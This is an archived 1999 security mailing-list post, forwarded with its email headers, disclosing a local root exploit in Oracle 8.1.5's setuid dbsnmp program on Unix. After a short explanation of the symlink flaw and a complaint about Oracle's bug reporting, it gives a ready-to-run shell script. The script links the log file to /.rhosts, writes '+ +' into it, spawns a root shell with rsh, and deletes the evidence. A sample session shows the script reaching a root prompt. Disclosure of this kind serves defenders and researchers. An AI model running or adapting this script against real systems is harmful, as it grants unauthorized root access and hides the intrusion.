oracle8.exploit.txt

`  
  
---------- Forwarded message ----------  
Date: Sat, 13 Nov 1999 15:01:08 -0600  
From: [email protected]  
To: [email protected]  
Subject: BOUNCE [email protected]: Approval required:   
  
>From [email protected] Sat Nov 13 15:01:06 1999  
Received: from sword.damocles.com ([email protected] [209.100.46.1])  
by sword.damocles.com (8.9.1a/8.9.1) with SMTP id PAA18027  
for <[email protected]>; Sat, 13 Nov 1999 15:01:06 -0600  
Date: Sat, 13 Nov 1999 15:01:06 -0600 (CST)  
From: Vacuum <[email protected]>  
X-Sender: [email protected]  
To: [email protected]  
Subject: Oracle 8 root exploit (fwd)  
Message-ID: <[email protected]>  
MIME-Version: 1.0  
Content-Type: TEXT/PLAIN; charset=US-ASCII  
  
  
  
  
  
---------- Forwarded message ----------  
Date: Sat, 13 Nov 1999 13:35:47 -0800  
From: [email protected]  
To: [email protected], [email protected], [email protected],  
[email protected], [email protected], [email protected]  
Subject: Oracle 8 root exploit  
  
Greetings,  
  
OVERVIEW  
A vulnerability exists in Oracle 8.1.5 for UN*X which may allow any user  
to obtain root privileges.  
  
BACKGROUND  
My testing was done with Oracle 8.1.5 on Solaris 2.6 SPARC edition.  
This shouldn't make any difference, however, and I would consider any  
UNIX Oracle implementation to be exploitable.  
  
DETAILS  
When run without ORACLE_HOME being set, dbsnmp (suid root/sgid dba by  
default) will dump two log files out into pwd, dbsnmpc and dbsnmpt . If  
these files do not exist, dbsnmpd will attempt to create them mode 666  
and dump around 400 bytes of uncontrolable output into them. If the  
files do exist, dbsnmp will append these 400 bytes but not change the  
permissions. Thus if root does not have an .rhosts file, we can obtain  
root privs by creating a symlink from /tmp/dbsnmpc to /.rhosts. One  
thing to note about the exploit is that on my particular implementation,  
a normal user does not have read access above /product/ in the Oracle  
path (something like /u01/app/oracle/product/8.1.5/bin/dbsnmp). This  
won't prevent you from running the exploit since the execute bit is set  
for world on all of Oracle's directories, but you may have to guess  
about the location of dbsnmp. This can usually done by examining the  
process list for Oracle entries.  
  
EDITORIAL  
One small rant about Oracle is their ridiculously complicated bug  
reporting scheme, which asks you 2814 questions and allows you ONE line  
of text to explain your problem. In this day and age, I don't  
understand why every major software vendor doesn't have something as  
simple as a mailto [email protected] SOMEWHERE on their site. In  
fact, when I searched Oracle's web page, I got zero hits on the word  
"security". Perhaps this address does exist and a bugtraq reader would  
care to enlighten me.  
  
EXPLOIT  
  
oracle8% uname -a; id  
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc  
SUNW,Ultra-5_10  
uid=102(btellier) gid=10(staff)  
oracle8% /tmp/oracle.sh  
couldn't read file "/config/nmiconf.tcl": no such file or directory  
Failed to initialize nl component,error=462  
Failed to initialize nl component,error=462  
#  
--- oracle.sh ---  
#!/bin/sh  
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others  
# You'll probably have to change your path to dbsnmp  
# Exploit will only work if /.rhosts does NOT exist  
#  
# Brock Tellier [email protected]  
cd /tmp  
unset ORACLE_HOME  
umask 0000  
ln -s /.rhosts /tmp/dbsnmpc.log  
/u01/app/oracle/product/8.1.5/bin/dbsnmp  
echo "+ +" > /.rhosts  
rsh -l root localhost 'sh -i'  
rsh -l root localhost rm /tmp/*log*  
rsh -l root localhost rm /.rhosts  
------  
  
  
`